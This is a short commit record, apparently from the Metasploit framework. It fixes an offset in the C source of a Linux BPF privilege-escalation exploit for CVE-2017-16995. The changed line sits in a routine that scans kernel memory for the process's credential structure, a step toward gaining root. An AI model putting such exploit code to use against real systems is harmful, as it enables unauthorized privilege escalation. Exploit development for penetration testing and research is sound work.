Land #14279, Fix incorrect offset in BPF sign extension LPE

2020-10-23 16:02:13 -05:00 · 2020-10-23 16:02:13 -05:00 · 65fcf67ca5
parent c62998d092 9e111d7fdf
commit 65fcf67ca5
2 changed files with 1 additions and 1 deletions
--- a/data/exploits/cve-2017-16995/exploit.c
+++ b/data/exploits/cve-2017-16995/exploit.c
@ -456,7 +456,7 @@ static unsigned long find_cred() {
 				continue;
 			}
 			
-			unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
+			unsigned long test_uid = (read64(cred_struct + sizeof(int)) & 0xFFFFFFFF);
 			
 			if(test_uid != uid) {
 				continue;
--- a/data/exploits/cve-2017-16995/exploit.out
+++ b/data/exploits/cve-2017-16995/exploit.out